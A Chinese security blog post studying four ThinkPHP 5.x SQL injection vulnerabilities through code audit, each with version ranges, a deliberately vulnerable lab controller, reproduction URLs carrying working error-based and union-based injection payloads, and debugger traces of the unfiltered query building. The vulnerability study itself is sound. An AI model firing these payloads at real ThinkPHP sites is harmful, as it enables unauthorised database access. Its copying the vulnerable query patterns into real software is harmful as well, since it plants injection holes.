S1xHcL's Blog.

ThinkPHP 代码审计学习记录

Word count: 2.9kReading time: 13 min
2022/12/29 Share

Thinkphp 5.0.x SQL注入-select方法

漏洞概述

官方不认为是漏洞,因在特定模式 exp 下执行 SQL 语句,未经任何过滤处理导致注入

影响版本

  • ThinkPHP5 全版本

  • 需要开启 Debug 页面

环境搭建

拉取项目

1
composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10

修改 composer.json 文件的 require 字段设置成如下,然后再执行 composer update

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

修改 application/index/controller/Index.php 文件内容

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username', 'exp', $username)->select();
return 'select success';
}
}

创建 users

1
2
3
4
5
6
7
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'admin');

根据相关内容修改 database.php 文件

config.php 文件中开启 app_debugapp_app_trace

漏洞复现

1
http://127.0.0.1/thinkphp/public/index.php/index/index/index?username=)%20union%20select%20updatexml(1,concat(0x7e,user(),0x7e),1)%23

漏洞分析

打断点开始调试,首先进入 get() 方法,在 thinkphp/library/think/Request.php

get() 方法中对传入的 $name 进行判断,如果是数组则在第 673 行处合并后输出,进入 input() 方法

input() 方法对参数 $name 分为 /. 两种情况进行处理

当判断参数 $data 不是数组时,进入 filterValue() 方法

继续跟进,进入 filterExp() 方法

使用正则过滤查询关键字,然后在参数 $value 后加上空格,最后再返回数据回到 application/index/controller/Index.php 文件中

先进入 where() 方法,在 thinkphp/library/think/db/Query.php

where 部分经过 parseWhereExp() 方法处理后返回,继续调用 select() 方法

select() 方法中,重点在第 2306 行处生成 SQL 查询语句, $options 参数的生成在第 2286 行,通过 parseExpress() 函数分析表达式获取到表名信息、where 查询后的内容

继续跟进 ,调用 BUilder 类中 select() 方法,文件在 thinkphp/library/think/db/Builder.php

select() 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据,跟进 parseWhere() 方法

使用 buildWhere() 方法生成查询条件 SQL 语句,继续跟进该方法

跟进 parseWhereItem() 方法查看 where子单元分析

当操作符为 exp 时,会将来自用户的数据直接拼接进为 SQL 语句,导致产生 SQL注入漏洞,所以此时的语句为

1
( `username` ) union select updatexml(1,concat(0x7e,user(),0x7e),1)# )

回到 Builder 类中的 select() 方法,组合成完整的 SQL 语句

1
SELECT * FROM `users` WHERE  ( `username` ) union select updatexml(1,concat(0x7e,user(),0x7e),1)# ) 

最后返回到 Query 类中 select() 方法调用 query() 执行查询

Thinkphp 5.0.10 SQL注入-select方法

漏洞概述

漏洞存在于 Mysql 类的 parseWhereItem 方法中,由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。Request 类的 filterExp 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。该注入影响小于 5.0.10 版本,高版本已经将 NOT LIKE 添加到 filterExp() 方法中进行过滤。

影响版本

  • ThinkPHP <= 5.0.10

环境搭建

拉取项目

1
composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10

修改 composer.json 文件的 require 字段设置成如下,然后再执行 composer update

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

修改 application/index/controller/Index.php 文件内容

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
}
}

创建 users

1
2
3
4
5
6
7
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'admin');

根据相关内容修改 database.php 文件

漏洞复现

1
http://127.0.0.1/thinkphp/public/index.php/index/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=aa&username[2]=)%20union%20select%201,user()%23

漏洞分析

打断点开始调试,先进入到 thinkphp/library/think/Request.php 中的 get() 方法中

判断 $name 参数类型,继续进入 input() 方法中

input() 方法中,因为这次是数组数据,判断 $data 类型后进入 if 语句中

使用 array_walk_recursive() 函数对 $data 中内容进行过滤,进入 filterValue() 方法

继续进入 filterExp() 中,查看有哪些过滤字符

使用正则过滤,有对 NOTLIKE 进行过滤,但是忽略了 NOT LIKE ,回到 application/index/controller/Index.php 文件

先调用 Query 类中的 where() 方法,然后通过 parseWhereExp() 分析查询表达式

最后返回 index.php 并继续调用 select() 方法构建 SQL 语句

继续跟进 ,调用 BUilder 类中 select() 方法,文件在 thinkphp/library/think/db/Builder.php

select() 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量存在用户输入的数据,跟进 parseWhere() 方法

数据传入 buildWhere() 方法,继续跟进,生成查询表达式 SQL 语句

跟进 parseWhereItem() 方法,对 where子单元分析

第 305 行使用 list() 获取 $val 中的值,分别赋值给 $exp = $val[0] = NOT LIKE$value = $val[1] = array('%%', 'aa') ,当程序走到第 357 行判断 $exp 的值是否为 NOT LIKE 。由于在 Request 类中的 filterExp() 方法忽略掉对 NOT LIKE 的过滤,导致用户输入的内容可控,进入该 elseif() 分支中

$value 为数组,进入 if 分支,在第 363 行判断是否存在 $val[2] ,如果存在则赋值给 $logic ,即

1
$logic = ") union select 1,user()#"

然后在 364 行处使用 implode()$array$logic 组合为字符串返回给 $whereStr

1
$whereStr = "(`username` NOT LIKE '%%' ) UNION SELECT 1,USER()# `username` NOT LIKE 'aa')"

最终 Builder 类中 select() 方法生成的完整查询 SQL 语句为

1
$sql = "SELECT * FROM `users` WHERE  (`username` NOT LIKE '%%' ) UNION SELECT 1,USER()# `username` NOT LIKE 'aa') "

最后返回到 Query 类中 select() 方法调用 query() 执行查询

补充说明

拉取 ThinkPHP 5.0.9 版本,复现该漏洞,漏洞仍存在

thinkphp/library/think/db/Builder.php#324 处使用 in_array() 函数判断 exp 数组中是否存在 not like

实际上$exp 是检查数组的值而不是键名

所以小于 5.0.10 版本同样存在漏洞

Thinkphp 5.x SQL注入-insert方法

漏洞概述

漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本

  • 5.0.13 <= ThinkPHP <= 5.0.15
  • 5.1.0 <= ThinkPHP <= 5.1.5
  • 需要开启 Debug 页面

环境搭建

拉取项目

1
composer create-project --prefer-dist topthink/think=5.0.15 thinkphp_5.0.15

修改 composer.json 文件的 require 字段设置成如下,然后再执行 composer update

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}

修改 application/index/controller/Index.php 文件内容

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

创建 users

1
2
3
4
5
6
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);

根据相关内容修改 database.php 文件,在 config.php 文件中开启 app_debugapp_app_trace

漏洞复现

1
http://127.0.0.1/thinkphp/public/index.php/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

漏洞分析

打断点开始调试

第 18 行通过 request() 助手函数的 get() 方法获取 username 数据,直接跟进第 19 行处 insert() 方法,文件位于 thinkphp/library/think/db/Query.php

第 2082 行中 parseExpress() 方法获取配置信息,在 2085 行调用 $this->builder->insert() 方法生成 $sql 语句,继续跟进 insert() 方法,文件位于 thinkphp/library/think/db/Builder.php

在第 721 行调用 parseDate() 方法处理传入的数据,跟进查看

第 101 行遍历传入的 $data 数据,将单元的值赋值给 $val 数组,跟进到第 114 行处通过 switch 判断 $val[0] 参数,在 payload 输入为 inc ,进入 inc 分支中,,跟进 parseKey() 方法

parseKey() 方法中,不会对传入的内容进行任何过滤,只是用来解析处理数据,传入的 $val[1] 不受影响,回到 parseDate()

数据拼接完后回到 insert() 方法中,在 728-736 行中替换字符串将 $data 中的数据填充到 SQL 语句中,最后在执行时出发报错注入

1
$sql = " INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+1) "

在分析过程中,parseDate() 方法中一共存在 3 种 case 语句

理论上也可以使用 expdec 来构造 SQL 语句,但是在实际测试中发现,exp 会在 thinkphp/library/think/Request.php#filterValue 中被处理,后面增加空格,那么到 parseDate() 中不符合 case 内容,无法注入

dec 不受影响,所以也可以造成注入漏洞

1
http://tp.cn/index.php/index/index/index?username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

Thinkphp 5.1.x SQL注入-update方法

漏洞概述

漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生

影响版本

  • 5.1.6 <= ThinkPHP <= 5.1.7
  • 部分 5.1.8 存在
  • 需要开启 Debug 页面

环境搭建

拉取项目

1
composer create-project --prefer-dist topthink/think thinkphp_5.1.7

修改 composer.json 文件的 require 字段设置成如下,然后再执行 composer update

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}

修改 application/index/controller/Index.php 文件内容

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}

创建 users

1
2
3
4
5
6
7
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'admin');

根据相关内容修改 config/database.php 文件,在 config/app.php 文件中开启 app_debugapp_app_trace

漏洞复现

1
http://127.0.0.1/thinkphp/public/index.php/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7e,user(),0x7e),1)^&username[3]=0

漏洞分析

打断点开始调试

直接进入到 update() 方法中,位于 thinkphp/library/think/db/Query.php

继续跟进进入 update() 方法,位于 thinkphp/library/think/db/Connection.php

直接查看 UPDATE SQL 语句生成,在 thinkphp/library/think/db/Builder.php 中 1134 行

进入 parseData() 数据分析方法中

在第 115 行处遍历 $data 赋值 $key$val 参数,到第 128 行处判断 $key 是否存在 -> ,继续走到第 138 行符合判断条件。取 $val[0]pointswitch 中判断,进入 default 条件里,跟进 parseArrayData() 函数中解析数组数据,位于 thinkphp/library/think/db/builder/Mysql.php

函数中没有任何过滤,直接拼接为sql语句

1
$result = $fun . '(\'' . $point . '(' . $value . ')\')';

参数均可控,实际上语句为

1
$result = $data[2] . '(\''. $data[3].'('.$data[1].')\')';

SQL语句为

1
UPDATE `users`  SET `username` = $data[2]('$data[3]($data[1])')  WHERE  `id` = :where_AND_id

填充$data

最后得到完整的 sql语句

引用

ThinkPHP5.x注入漏洞学习

ThinkPHP v5.0.10代码审计

ThinkPHP-Vuln

CATALOG
  1. 1. Thinkphp 5.0.x SQL注入-select方法
    1. 1.1. 漏洞概述
    2. 1.2. 影响版本
    3. 1.3. 环境搭建
    4. 1.4. 漏洞复现
    5. 1.5. 漏洞分析
  2. 2. Thinkphp 5.0.10 SQL注入-select方法
    1. 2.1. 漏洞概述
    2. 2.2. 影响版本
    3. 2.3. 环境搭建
    4. 2.4. 漏洞复现
    5. 2.5. 漏洞分析
    6. 2.6. 补充说明
  3. 3. Thinkphp 5.x SQL注入-insert方法
    1. 3.1. 漏洞概述
    2. 3.2. 影响版本
    3. 3.3. 环境搭建
    4. 3.4. 漏洞复现
    5. 3.5. 漏洞分析
  4. 4. Thinkphp 5.1.x SQL注入-update方法
    1. 4.1. 漏洞概述
    2. 4.2. 影响版本
    3. 4.3. 环境搭建
    4. 4.4. 漏洞复现
    5. 4.5. 漏洞分析
  5. 5. 引用